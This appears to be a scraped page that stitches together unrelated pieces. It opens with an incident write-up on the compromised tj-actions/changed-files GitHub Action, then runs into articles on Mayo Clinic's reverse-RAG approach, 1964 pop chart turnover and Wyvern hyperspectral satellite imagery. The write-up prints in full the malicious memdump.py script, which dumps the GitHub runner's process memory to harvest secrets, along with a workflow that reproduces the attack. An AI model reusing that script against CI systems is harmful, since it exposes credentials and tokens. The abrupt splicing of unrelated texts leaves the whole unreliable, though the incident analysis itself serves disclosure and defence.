Here is the con­tent of https://​gist.githubuser­con­tent.com/​niki­tas­tupin/​30e525b776c409e03c2d6f328f254965/​raw/​mem­dump.py

#!/usr/bin/env python3

def get_pid():

# https://​stack­over­flow.com/​ques­tions/​2703640/​process-list-on-linux-via-python

pids = [pid for pid in os.list­dir(‘/​proc’) if pid.is­digit()]

for pid in pids:

with open(os.path.join(‘/​proc’, pid, ‘cmdline’), ‘rb’) as cmd­line_f:

if b’Run­ner.Work­er’ in cmd­line_f.read():

re­turn pid

raise Exception(‘Can not get pid of Runner.Worker’)

if __name__ == “__main__”:

pid = get_pid()

print(pid)

map_­path = f”/​proc/{​pid}/​maps”

mem_­path = f”/​proc/{​pid}/​mem”

with open(map_­path, ‘r’) as map_f, open(mem_­path, ‘rb’, 0) as mem_f:

for line in map_f.read­lines(): # for each mapped re­gion

m = re.match(r’([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])’, line)

if m.group(3) == ‘r’: # read­able re­gion

start = int(m.group(1), 16)

end = int(m.group(2), 16)

# hot­fix: OverflowError: Python int too large to con­vert to C long

# 18446744073699065856

if start > sys.max­size:

con­tinue

mem_f.seek(start) # seek to re­gion start

try:

chunk = mem_f.read(end - start) # read re­gion con­tents

sys.std­out.buffer.write(chunk)

ex­cept OSError:

con­tinue

Even though GitHub shows ren­o­vate as the com­mit au­thor, most likely the com­mit did not ac­tu­ally come up ren­o­vate bot. The com­mit is an un-ver­i­fied com­mit, so likely the ad­ver­sary pro­vided ren­o­vate as the com­mit au­thor to hide their tracks.

StepSecurity Harden-Runner se­cures CI/CD work­flows by con­trol­ling net­work ac­cess and mon­i­tor­ing ac­tiv­i­ties on GitHub-hosted and self-hosted run­ners. The name “Harden-Runner” comes from its pur­pose: strength­en­ing the se­cu­rity of the run­ners used in GitHub Actions work­flows. The Harden-Runner com­mu­nity tier is free for open-source pro­jects. In ad­di­tion, it of­fers sev­eral en­ter­prise fea­tures.

When this Action is ex­e­cuted with Harden-Runner, you can see the ma­li­cious code in ac­tion. We re­pro­duced the ex­ploit in a test repos­i­tory. When the com­pro­mised tj-ac­tions/​changed-files ac­tion runs, Harden-Runner’s in­sights clearly show it down­load­ing and ex­e­cut­ing a ma­li­cious Python script that at­tempts to dump sen­si­tive data from the GitHub Actions run­ner’s mem­ory. You can see the be­hav­ior here:

https://​app.stepse­cu­rity.io/​github/​step-se­cu­rity/​github-ac­tions-goat/​ac­tions/​runs/​13866127357

To re­pro­duce this, you can run the fol­low­ing work­flow:

name: “tj-action changed-files in­ci­dent”

on:

pul­l_re­quest:

branches:

- main

per­mis­sions:

pull-re­quests: read

jobs:

changed_­files:

runs-on: ubuntu-lat­est

name: Test changed-files

steps:

- name: Harden Runner

uses: step-se­cu­rity/​harden-run­ner@v2

with:

dis­able-sudo: true

egress-pol­icy: au­dit

- uses: ac­tions/​check­out@v4

with:

fetch-depth: 0

# Example 1

- name: Get changed files

id: changed-files

uses: tj-ac­tions/​changed-files@v35

- name: List all changed files

run: |

for file in ${{ steps.changed-files.out­puts.al­l_changed_­files }}; do

echo “$file was changed”

done

When this work­flow is ex­e­cuted, you can see the ma­li­cious be­hav­ior through Harden-Runner:

When this work­flow runs, you can ob­serve the ma­li­cious be­hav­ior in the Harden-Runner in­sights page. The com­pro­mised Action down­loads and ex­e­cutes a ma­li­cious Python script, which at­tempts to dump sen­si­tive data from the Actions Runner process mem­ory.

🚨 If you are us­ing any ver­sion of the tj-ac­tions/​changed-files Action, we strongly rec­om­mend you stop us­ing it im­me­di­ately un­til the in­ci­dent is re­solved. To sup­port the com­mu­nity dur­ing this in­ci­dent, we have re­leased a free, se­cure, and drop-in re­place­ment: step-se­cu­rity/​changed-files. We rec­om­mend up­dat­ing all in­stances of j-ac­tions/​changed-files in your work­flows to this StepSecurity-maintained Action.

To use the StepSecurity main­tained Action, sim­ply re­place all in­stances of “tj-actions/changed-files@vx” with “step-security/changed-files@3dbe17c78367e7d60f00d78ae6781a35be47b4a1 # v45.0.1″ or “step-security/changed-files@v45”.

For en­hanced se­cu­rity, you can pin to the spe­cific com­mit SHA:

jobs:

changed_­files:

runs-on: ubuntu-lat­est

- name: Get changed files

id: changed-files

uses: step-se­cu­rity/​changed-files@v45

You can also ref­er­ence the Action through its lat­est re­lease tag:

jobs:

changed_­files:

runs-on: ubuntu-lat­est

Hi folks. I’m Will Larson.

If you’re look­ing to reach out to me, here are ways I help. If you’d like to get a email from me, sub­scribe to my weekly newslet­ter.

Even as large lan­guage mod­els (LLMs) be­come ever more so­phis­ti­cated and ca­pa­ble, they con­tinue to suf­fer from hal­lu­ci­na­tions: Offering up in­ac­cu­rate in­for­ma­tion, or, to put it more harshly, ly­ing.

This can be par­tic­u­larly harm­ful in ar­eas like health­care, where wrong in­for­ma­tion can have dire re­sults.

Mayo Clinic, one of the top-ranked hos­pi­tals in the U. S., has adopted a novel tech­nique to ad­dress this chal­lenge. To suc­ceed, the med­ical fa­cil­ity must over­come the lim­i­ta­tions of re­trieval-aug­mented gen­er­a­tion (RAG). That’s the process by which large lan­guage mod­els (LLMs) pull in­for­ma­tion from spe­cific, rel­e­vant data sources. The hos­pi­tal has em­ployed what is es­sen­tially back­wards RAG, where the model ex­tracts rel­e­vant in­for­ma­tion, then links every data point back to its orig­i­nal source con­tent.

Remarkably, this has elim­i­nated nearly all data-re­trieval-based hal­lu­ci­na­tions in non-di­ag­nos­tic use cases — al­low­ing Mayo to push the model out across its clin­i­cal prac­tice.

“With this ap­proach of ref­er­enc­ing source in­for­ma­tion through links, ex­trac­tion of this data is no longer a prob­lem,” Matthew Callstrom, Mayo’s med­ical di­rec­tor for strat­egy and chair of ra­di­ol­ogy, told VentureBeat.

Dealing with health­care data is a com­plex chal­lenge — and it can be a time sink. Although vast amounts of data are col­lected in elec­tronic health records (EHRs), data can be ex­tremely dif­fi­cult to find and parse out.

Mayo’s first use case for AI in wran­gling all this data was dis­charge sum­maries (visit wrap-ups with post-care tips), with its mod­els us­ing tra­di­tional RAG. As Callstrom ex­plained, that was a nat­ural place to start be­cause it is sim­ple ex­trac­tion and sum­ma­riza­tion, which is what LLMs gen­er­ally ex­cel at.

“In the first phase, we’re not try­ing to come up with a di­ag­no­sis, where you might be ask­ing a model, ‘What’s the next best step for this pa­tient right now?’,” he said.

The dan­ger of hal­lu­ci­na­tions was also not nearly as sig­nif­i­cant as it would be in doc­tor-as­sist sce­nar­ios; not to say that the data-re­trieval mis­takes weren’t head-scratch­ing.

“In our first cou­ple of it­er­a­tions, we had some funny hal­lu­ci­na­tions that you clearly would­n’t tol­er­ate — the wrong age of the pa­tient, for ex­am­ple,” said Callstrom. “So you have to build it care­fully.”

While RAG has been a crit­i­cal com­po­nent of ground­ing LLMs (improving their ca­pa­bil­i­ties), the tech­nique has its lim­i­ta­tions. Models may re­trieve ir­rel­e­vant, in­ac­cu­rate or low-qual­ity data; fail to de­ter­mine if in­for­ma­tion is rel­e­vant to the hu­man ask; or cre­ate out­puts that don’t match re­quested for­mats (like bring­ing back sim­ple text rather than a de­tailed table).

While there are some workarounds to these prob­lems — like graph RAG, which sources knowl­edge graphs to pro­vide con­text, or cor­rec­tive RAG (CRAG), where an eval­u­a­tion mech­a­nism as­sesses the qual­ity of re­trieved doc­u­ments — hal­lu­ci­na­tions haven’t gone away.

This is where the back­wards RAG process comes in. Specifically, Mayo paired what’s known as the clus­ter­ing us­ing rep­re­sen­ta­tives (CURE) al­go­rithm with LLMs and vec­tor data­bases to dou­ble-check data re­trieval.

Clustering is crit­i­cal to ma­chine learn­ing (ML) be­cause it or­ga­nizes, clas­si­fies and groups data points based on their sim­i­lar­i­ties or pat­terns. This es­sen­tially helps mod­els “make sense” of data. CURE goes be­yond typ­i­cal clus­ter­ing with a hi­er­ar­chi­cal tech­nique, us­ing dis­tance mea­sures to group data based on prox­im­ity (think: data closer to one an­other are more re­lated than those fur­ther apart). The al­go­rithm has the abil­ity to de­tect “outliers,” or data points that don’t match the oth­ers.

Combining CURE with a re­verse RAG ap­proach, Mayo’s LLM split the sum­maries it gen­er­ated into in­di­vid­ual facts, then matched those back to source doc­u­ments. A sec­ond LLM then scored how well the facts aligned with those sources, specif­i­cally if there was a causal re­la­tion­ship be­tween the two.

“Any data point is ref­er­enced back to the orig­i­nal lab­o­ra­tory source data or imag­ing re­port,” said Callstrom. “The sys­tem en­sures that ref­er­ences are real and ac­cu­rately re­trieved, ef­fec­tively solv­ing most re­trieval-re­lated hal­lu­ci­na­tions.”

Callstrom’s team used vec­tor data­bases to first in­gest pa­tient records so that the model could quickly re­trieve in­for­ma­tion. They ini­tially used a lo­cal data­base for the proof of con­cept (POC); the pro­duc­tion ver­sion is a generic data­base with logic in the CURE al­go­rithm it­self.

“Physicians are very skep­ti­cal, and they want to make sure that they’re not be­ing fed in­for­ma­tion that is­n’t trust­wor­thy,” Callstrom ex­plained. “So trust for us means ver­i­fi­ca­tion of any­thing that might be sur­faced as con­tent.”

The CURE tech­nique has proven use­ful for syn­the­siz­ing new pa­tient records too. Outside records de­tail­ing pa­tients’ com­plex prob­lems can have “reams” of data con­tent in dif­fer­ent for­mats, Callstrom ex­plained. This needs to be re­viewed and sum­ma­rized so that clin­i­cians can fa­mil­iar­ize them­selves be­fore they see the pa­tient for the first time.

“I al­ways de­scribe out­side med­ical records as a lit­tle bit like a spread­sheet: You have no idea what’s in each cell, you have to look at each one to pull con­tent,” he said.

But now, the LLM does the ex­trac­tion, cat­e­go­rizes the ma­te­r­ial and cre­ates a pa­tient overview. Typically, that task could take 90 or so min­utes out of a prac­ti­tion­er’s day — but AI can do it in about 10, Callstrom said.

He de­scribed “incredible in­ter­est” in ex­pand­ing the ca­pa­bil­ity across Mayo’s prac­tice to help re­duce ad­min­is­tra­tive bur­den and frus­tra­tion.

“Our goal is to sim­plify the pro­cess­ing of con­tent — how can I aug­ment the abil­i­ties and sim­plify the work of the physi­cian?” he said.

Of course, Callstrom and his team see great po­ten­tial for AI in more ad­vanced ar­eas. For in­stance, they have teamed with Cerebras Systems to build a ge­nomic model that pre­dicts what will be the best arthri­tis treat­ment for a pa­tient, and are also work­ing with Microsoft on an im­age en­coder and an imag­ing foun­da­tion model.

Their first imag­ing pro­ject with Microsoft is chest X-rays. They have so far con­verted 1.5 mil­lion X-rays and plan to do an­other 11 mil­lion in the next round. Callstrom ex­plained that it’s not ex­tra­or­di­nar­ily dif­fi­cult to build an im­age en­coder; the com­plex­ity lies in mak­ing the re­sul­tant im­ages ac­tu­ally use­ful.

Ideally, the goals are to sim­plify the way Mayo physi­cians re­view chest X-rays and aug­ment their analy­ses. AI might, for ex­am­ple, iden­tify where they should in­sert an en­do­tra­cheal tube or a cen­tral line to help pa­tients breathe. “But that can be much broader,” said Callstrom. For in­stance, physi­cians can un­lock other con­tent and data, such as a sim­ple pre­dic­tion of ejec­tion frac­tion — or the amount of blood pump­ing out of the heart — from a chest X ray.

“Now you can start to think about pre­dic­tion re­sponse to ther­apy on a broader scale,” he said.

Mayo also sees “incredible op­por­tu­nity” in ge­nomics (the study of DNA), as well as other “omic” ar­eas, such as pro­teomics (the study of pro­teins). AI could sup­port gene tran­scrip­tion, or the process of copy­ing a DNA se­quence, to cre­ate ref­er­ence points to other pa­tients and help build a risk pro­file or ther­apy paths for com­plex dis­eases.

“So you ba­si­cally are map­ping pa­tients against other pa­tients, build­ing each pa­tient around a co­hort,” Callstrom ex­plained. “That’s what per­son­al­ized med­i­cine will re­ally pro­vide: ‘You look like these other pa­tients, this is the way we should treat you to see ex­pected out­comes.’ The goal is re­ally re­turn­ing hu­man­ity to health­care as we use these tools.”

But Callstrom em­pha­sized that every­thing on the di­ag­no­sis side re­quires a lot more work. It’s one thing to demon­strate that a foun­da­tion model for ge­nomics works for rheuma­toid arthri­tis; it’s an­other to ac­tu­ally val­i­date that in a clin­i­cal en­vi­ron­ment. Researchers have to start by test­ing small datasets, then grad­u­ally ex­pand test groups and com­pare against con­ven­tional or stan­dard ther­apy.

“You don’t im­me­di­ately go to, ’Hey, let’s skip Methotrexate” [a pop­u­lar rheuma­toid arthri­tis med­ica­tion], he noted.

Ultimately: “We rec­og­nize the in­cred­i­ble ca­pa­bil­ity of these [models] to ac­tu­ally trans­form how we care for pa­tients and di­ag­nose in a mean­ing­ful way, to have more pa­tient-cen­tric or pa­tient-spe­cific care ver­sus stan­dard ther­apy,” said Callstrom. “The com­plex data that we deal with in pa­tient care is where we’re fo­cused.”

Welcome back to Can’t Get Much Higher, the in­ter­net’s top des­ti­na­tion for us­ing num­bers to un­der­stand mu­sic and the mu­sic in­dus­try. This newslet­ter is made pos­si­ble by my read­ers. Consider up­grad­ing to a paid sub­scrip­tion to get ac­cess to in­ter­views, link roundups, and other fun fea­tures. If not, con­tinue on to a mur­der­ous story.

When you ask peo­ple about the most con­se­quen­tial years in pop­u­lar mu­sic, there might be no year that comes up more of­ten than 1964. Of course, the most im­por­tant thing about that year is The Beatles land­ing in the United States and kick­ing off the British Invasion. But the year is end­lessly dis­cussed be­cause so much else went on.

* Motown be­came a dom­i­nant force in pop mu­sic, re­leas­ing four num­ber ones, three of which were by The Supremes

* The Beach Boys con­tin­ued their run of hits

Sometimes it even felt like there were more con­se­quen­tial re­leases in a sin­gle week than there were in en­tire decades. Take the top five songs on the Billboard Hot 100 from the week of August 15 as an ex­am­ple:

“Where Did Our Love Go” by The Supremes“Rag Doll” by Frankie Valli & the Four Seasons“Under the Boardwalk” by The Drifters

These are five songs that I re­turn to of­ten. And weeks like this weren’t even that rare in 1964. Just one week later, you had the same songs in the top five, ex­cept “Rag Doll” was re­placed by The Animals’ “House of the Rising Son,” the song that some claim made Dylan go elec­tric and pushed rock mu­sic into a com­pletely new di­rec­tion.

The one claim that’s al­ways fas­ci­nated me about 1964 is that it was a line of de­mar­ca­tion be­tween an old and a new way to make mu­sic. If you were mak­ing hits in 1963 and did­n’t change your sound in 1964, you were go­ing to be wait­ing ta­bles by the be­gin­ning of 1965. In other words, The Beatles-led British Invasion dec­i­mated the ca­reers of scores of artists. But was this re­ally the case?

The sound of rock mu­sic un­doubt­edly changed be­tween the be­gin­ning and mid­dle of the 1960s. But by look­ing at the Billboard Hot 100, we can see if that change in sound was be­ing made by a fleet of new groups or a bunch of older acts adapt­ing.

To do this, I grabbed a list of all 175 acts who re­leased at least one top 40 sin­gle in 1963. (Fun fact: the record for the most top 40 hits that year was shared by five acts: Bobby Vinton, Brenda Lee, Dion & the Belmonts, Ray Charles, and The Beach Boys. Each had six top 40 hits.) I then de­cided to see which of those acts never re­leased a hit in 1964 or any year af­ter. In to­tal, 88 of those 175 acts, or 50%, never had a top 40 hit again.

That’s kind of a lot. In other words, The Beatles and their fel­low in­vad­ing Brits killed a lot of ca­reers. Or did they? By look­ing at only a sin­gle year we could be bi­ased. And we are.

If we cal­cu­late that same rate for every sin­gle year be­tween 1960 and 2020, we see that while the kill rate in 1964 was high, it was­n’t com­pletely out of the or­di­nary. The me­dian is around 40%. Having a multi-year ca­reer as a pop­u­lar artist is just hard. By look­ing at the years with the high­est rates, we can glean a few other things, though.

First, three of the top ten rates are 1962, 1963, and 1964. In other words, there is some cre­dence to the the­ory that the British Invasion dec­i­mated many ca­reers. Nevertheless, the fact that the rates in 1962 and 1963 are high tells me that sonic changes were brew­ing in the United States too. Had The Beatles not ar­rived, rock mu­sic prob­a­bly still would have evolved in a way that would have left ear­lier hit­mak­ers in the dust. That sonic evo­lu­tion would have been dif­fer­ent, though.

Second, why are half of the years in the top 10 be­tween 1990 and 1999? Part of this is a data quirk. In 1991, Billboard changed their chart method­ol­ogy. Overnight, hip-hop and coun­try were bet­ter rep­re­sented on the chart. Thus, there was a ton of artist turnover. At the same time, I think we un­der­rate how tu­mul­tuous mu­sic was in the 1990s. Here are some odd­i­ties from that decade that I noted when dis­cussing the swing re­vival in an ear­lier newslet­ter:

In other words, the 1990s were strange. And I think we are just be­gin­ning to grap­ple with that strange­ness. Because of that, there was a ton of turnover on the charts. It’s hard for artists to keep up with trends when grunge, gangsta rap, swing, and a new breed of teen pop are all suc­cess­ful in a mat­ter of years. Being a su­per­star is­n’t easy.

Aggregating this data got me think­ing about which artists have been able to sur­vive the most mu­si­cal changes and still find suc­cess. While there are artists, like Elton John and The Rolling Stones, who put out hits for decades, I want to point out one artist whose re­silience still shocks me: Frankie Valli.

Born in 1934, Valli had his first ma­jor hit in 1962 with “Sherry,” a song per­formed with his group The Four Seasons. Before The Beatles splashed on American shores, Valli and his band­mates had eight more top 40 hits. But they were the kind of group that you’d ex­pect to be dec­i­mated by the new sound of rock mu­sic. The Four Seasons were sort of a throw­back even in 1963, Valli and his falsetto point­ing to­ward the doo-wop of the last decade.

But Valli and his col­lab­o­ra­tors forged on. They made some mu­si­cal mis­steps but they re­mained a mu­si­cal force through 1967, re­leas­ing bonafide clas­sics, like “Can’t Take My Eyes Off You.” Okay. So, he sur­vived the British Invasion. Some oth­ers did too. But Valli did­n’t go qui­etly as the 1960s came to a close.

In 1974, he scored a mas­sive hit with “My Eyes Adored You,” a song that played well with the soft rock that was dom­i­nant at the time. Then disco be­gan to boom and Valli re­mained un­de­terred. “Swearin’ to God.” “Who Loves You.” “December, 1963 (Oh, What a Night).” The man could not be stopped.

The fact that Valli topped the charts again in 1978 with “Grease” still bog­gles my mind. I don’t think any­body who heard “Sherry” in 1962 thought that he’d be within a coun­try mile of the charts 12 years later. By the time the hit mu­si­cal Jersey Boys was made about his life in 2005, his leg­end was firmly es­tab­lished. But long be­fore that, I was tip­ping my cap to him.

I’ll ad­mit that I hopped on the Doechii train late. Like many oth­ers, I first lis­tened to her al­bum Alligator Bites Never Heal af­ter it won Best Rap Album at the 67th Grammy Awards. No mat­ter how late I was, I’m happy that I’m here now. Not only is Doechii dex­trous as a rap­per but all of her beats are groovy and twitchy in a way that feels fresh. “Nosebleeds,” her vic­tory lap af­ter the Grammy win, has all of those things on dis­play.

As I was ad­mir­ing 1964, I no­ticed that the week of October 10 had a mind-blow­ing top five. It in­cluded Roy Orbison’s “Oh, Pretty Woman,” Manfred Mann’s “Do Wah Diddy Diddy,” Martha & the Vandellas’ “Dancing in the Street,” and The Shangri-Las’ “Remember (Walkin’ in the Sand).” There was one song that I was­n’t fa­mil­iar with, though: “Bread and Butter” by The Newbeats.

“Bread and Butter” is fun, lit­tle nov­elty about bread, but­ter, toast, jam, and los­ing your lover. The most no­table thing about the song is a half-screamed falsetto that ap­pears pe­ri­od­i­cally through­out the song as per­formed by Larry Henley. Incidentally, Henley is an­other good ex­am­ple of mu­si­cal re­silience. After his per­form­ing ca­reer ended, he wrote a few hits over the decades, in­clud­ing Bette Midler’s mas­sive 1989 bal­lad “Wind Beneath My Wings.”

Shout out to the paid sub­scribers who al­low this newslet­ter to ex­ist. Along with get­ting ac­cess to our en­tire archive, sub­scribers un­lock bi­weekly in­ter­views with peo­ple dri­ving the mu­sic in­dus­try, monthly round-ups of the most im­por­tant sto­ries in mu­sic, and pri­or­ity when sub­mit­ting ques­tions for our mail­bag. Consider be­com­ing a paid sub­scriber to­day!

Recent Paid Subscriber Interviews: Pitchfork’s Editor-in-Chief • Classical Pianist • Spotify’s Former Data Guru • Music Supervisor • John Legend Collaborator • Wedding DJ • What It’s Like to Go Viral • Adele Collaborator

Recent Newsletters: Personalized Lies • The Lostwave Story • Blockbuster Nostalgia • Weird Band Names • Recorded Music is a Hoax • A Frank Sinatra Mystery • The 40-Year Test

Want to hear the mu­sic that I make? Check out my lat­est sin­gle “Overloving” wher­ever you stream mu­sic.

Last month, Wyvern, a 36-person start-up with $16M USD in fund­ing in Edmonton, Canada launched an open data pro­gramme for their VNIR, 23 to 31-band hy­per­spec­tral satel­lite im­agery.

The im­agery was cap­tured with one of their three Dragonette 6U CubeSat satel­lites. These satel­lites were built by AAC Clyde Space which has of­fices in the UK, Sweden and a few other coun­tries. They or­bit 517 - 550 KM above the Earth’s sur­face and have a spa­tial res­o­lu­tion at nadir (GSD) of 5.3M.

SpaceX launched all three of their satel­lites from Vandenberg Space Force Base in California. They were launched on April 15th, June 12th and November 11th, 2023 re­spec­tively.

There are ~130 GB of GeoTIFFs be­ing hosted in their AWS S3 bucket in Montreal. The 33 im­ages posted were taken be­tween June and two weeks ago.

I’m us­ing a 5.7 GHz AMD Ryzen 9 9950X CPU. It has 16 cores and 32 threads and 1.2 MB of L1, 16 MB of L2 and 64 MB of L3 cache. It has a liq­uid cooler at­tached and is housed in a spa­cious, full-sized Cooler Master HAF 700 com­puter case.

The sys­tem has 96 GB of DDR5 RAM clocked at 4,800 MT/s and a 5th-generation, Crucial T700 4 TB NVMe M.2 SSD which can read at speeds up to 12,400 MB/s. There is a heatsink on the SSD to help keep its tem­per­a­ture down. This is my sys­tem’s C drive.

The sys­tem is pow­ered by a 1,200-watt, fully mod­u­lar Corsair Power Supply and is sat on an ASRock X870E Nova 90 Motherboard.

I’m run­ning Ubuntu 24 LTS via Microsoft’s Ubuntu for Windows on Windows 11 Pro. In case you’re won­der­ing why I don’t run a Linux-based desk­top as my pri­mary work en­vi­ron­ment, I’m still us­ing an Nvidia GTX 1080 GPU which has bet­ter dri­ver sup­port on Windows and I use ArcGIS Pro from time to time which only sup­ports Windows na­tively.

I’ll use GDAL 3.9.3, Python 3.12.3 and a few other tools to help analyse the data in this post.

I’ll set up a Python Virtual Environment and in­stall some de­pen­den­cies.

I’ll use my GeoTIFFs analy­sis util­ity in this post.

I’ll use DuckDB, along with its H3, JSON, Lindel, Parquet and Spatial ex­ten­sions, in this post.

I’ll set up DuckDB to load every in­stalled ex­ten­sion each time it launches.

The maps in this post were ren­dered with QGIS ver­sion 3.42. QGIS is a desk­top ap­pli­ca­tion that runs on Windows, ma­cOS and Linux. The ap­pli­ca­tion has grown in pop­u­lar­ity in re­cent years and has ~15M ap­pli­ca­tion launches from users all around the world each month.

I used QGIS’ Tile+ plu­gin to add geospa­tial con­text with Bing’s Virtual Earth Basemap as well as CARTO’s to the maps. The dark, non-satel­lite im­agery maps are mostly made up of vec­tor data from Natural Earth and Overture.

Below is PulseOrbital’s list of es­ti­mated Tallinn fly­overs by Wyvern’s Dragonette con­stel­la­tion for March 8th and 9th, 2025.

Below I’ll try to es­ti­mate the cur­rent lo­ca­tions of each of their three satel­lites. I found the Two-line el­e­ments (TLE) de­tails on n2yo.

I ran the fol­low­ing on March 10th, 2025. It pro­duced a CSV file with names and es­ti­mated lo­ca­tions of their three satel­lites.

Below is a ren­der­ing of the above CSV data in QGIS.

Wyvern have a STAC cat­a­log list­ing the im­agery lo­ca­tions and meta­data around their cap­ture. I’ll down­load this meta­data and get each im­age’s ad­dress de­tails with Mapbox’s re­verse geocod­ing ser­vice. Mapbox of­fer 100K geocod­ing searches per month with their free tier.

The above pro­duced a 33-line JSONL file. Below is an ex­am­ple record.

I’ll load their im­agery meta­data into DuckDB for analy­sis.

Below are the im­age counts by coun­try and city. Some ar­eas are rural and Mapbox did­n’t at­tribute any city to the im­age foot­print’s lo­ca­tion.

Below are the lo­ca­tions of the im­ages.

These are the months in which the im­agery was cap­tured.

The ma­jor­ity of im­agery is from their first satel­lite but there are four im­ages from their third. Their sec­ond and third satel­lites can col­lect a wider spec­tral range, with more spec­tral bands at a greater spec­tral res­o­lu­tion.

All of the im­agery has been processed to level L1B and, with the ex­cep­tion of one im­age, to ver­sion 1.3.

Below I’ll bucket the amount of cloud cover in their im­agery to the near­est 10%.

The im­agery Wyvern de­liv­ers are Cloud-Optimised GeoTIFF con­tain­ers. These files con­tain Tiled Multi-Resolution TIFFs  / Tiled Pyramid TIFFs. This means there are sev­eral ver­sions of the same im­age at dif­fer­ent res­o­lu­tions within the GeoTIFF file.

These files are struc­tured so it’s easy to only read a por­tion of a file for any one res­o­lu­tion you’re in­ter­ested in. A file might be 100 MB but a JavaScript-based Web Application might only need to down­load 2 MB of data from that file in or­der to ren­der its low­est res­o­lu­tion.

The fol­low­ing down­loaded 130 GB of GeoTIFFs from their feed.

Below you can see the five res­o­lu­tions of im­agery with the fol­low­ing GeoTIFF. These range from 6161-pixels wide down to 385-pixels wide.

Below is a 23 x 30 KM im­age of Los Angeles.

This is its meta­data for ref­er­ence.

The fol­low­ing bands are pre­sent in the above im­age.

Most im­ages con­tain 23 bands of data though there are four im­ages in this feed that con­tain 31 bands.

If you open the prop­er­ties for the above im­age’s layer in QGIS and se­lect the “Symbology” tab, you can re-map the bands be­ing used for the red, green and blue chan­nels be­ing ren­dered. Try the fol­low­ing:

Under the “Min / Max Value Settings” sec­tion, check the ra­dio but­ton next to “Min / max”.

Below is what the set­tings should look like:

Hit “Apply” and the im­age should look more nat­ural.

Below is a com­par­i­son to Bing’s im­agery for this area.

Below is a com­par­i­son to Esri’s im­agery for this area.

Below is a com­par­i­son to Google’s im­agery for this area.

Below is a com­par­i­son to Yandex’s im­agery for this area.

QGIS 3.42 was re­leased a few weeks ago and now has STAC cat­a­log in­te­gra­tion.

From the Layer Menu, click Add Layer -> Add Layer from STAC Catalog.

Give the layer the name “wyvern” and paste in the fol­low­ing URL:

Below is what the fields should look like.

Click OK, then Close on the next di­a­log and re­turn to the main UI. Don’t click the con­nect but­ton as you’ll re­ceive an er­ror mes­sage and it is­n’t needed for this feed.

Click the View Menu -> Panels -> Browser Panel. You should see a STAC item ap­pear in that panel and un­der­neath you should be able to browse the var­i­ous col­lec­tions Wyvern of­fer.

Right click­ing any as­set lets you both see a pre­view and de­tails on the im­agery. You can also down­load the im­agery to your ma­chine and into your QGIS pro­ject.

Thank you for tak­ing the time to read this post. I of­fer both con­sult­ing and hands-on de­vel­op­ment ser­vices to clients in North America and Europe. If you’d like to dis­cuss how my of­fer­ings can help your busi­ness please con­tact me via LinkedIn .